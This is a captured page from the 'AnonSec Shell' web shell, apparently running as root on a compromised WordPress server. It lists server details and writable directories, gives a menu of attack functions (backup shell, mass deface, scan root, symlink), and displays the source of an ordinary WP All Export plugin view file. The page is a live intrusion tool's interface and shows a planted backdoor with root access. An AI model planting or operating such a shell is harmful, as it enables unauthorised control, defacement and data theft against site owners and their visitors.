AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.135.195.169   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/wp-all-export/views/admin/export/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/wp-all-export/views/admin/export/variation_options_common.php
<?php
if(!defined('ABSPATH')) {
    die();
}
if(XmlExportEngine::get_addons_service()->isWooCommerceAddonActive()) { ?>
<script type="text/javascript">
    (function ($) {
        $(function () {

            function updateCheckSelect() {
                var exportVariations = $('#export_variations').val();
                var exportVariationsTitle = $('#export_variations_title').val();

                //$('.sub-options-' + exportVariations).css('display', 'block');
            }

            $('.export_variations').on('change', function () {

                var inputName = $(this).attr('name');
                $('.sub-options').slideUp('fast');
                var value = $('input[name='+inputName+']:checked').val();
                var $thisInput = $('input.export_variations[value='+value +']');
                $thisInput.prop('checked', 'checked');
                $('#export_variations').val(value);
                if (value <= 2) {
                    $thisInput.parent().parent().find('.sub-options').slideDown('fast');
                    $thisInput.parent().parent().find('.sub-options').find('input').eq(0).attr('checked', 'checked');
                }
            });
            
            $('.export_variations_title').on('change', function(event){

                var inputName = $(this).attr('name');
                var value = $('input[name='+inputName +']:checked').val();
                var $thisInput = $('.export_variations_title[value='+value +']');
                $thisInput.prop('checked', 'checked');

                $('#export_variations_title').val(value);
            });

            updateCheckSelect();
        });
    })(jQuery);
</script>
<?php } ?>
<input type="hidden" id="export_variations" name="export_variations" value="<?php echo esc_attr(XmlExportEngine::getProductVariationMode()); ?>" />
<input type="hidden" id="export_variations_title" name="export_variations_title" value="<?php echo esc_attr(XmlExportEngine::getProductVariationTitleMode());?>" />

Anon7 - 2022
AnonSec Team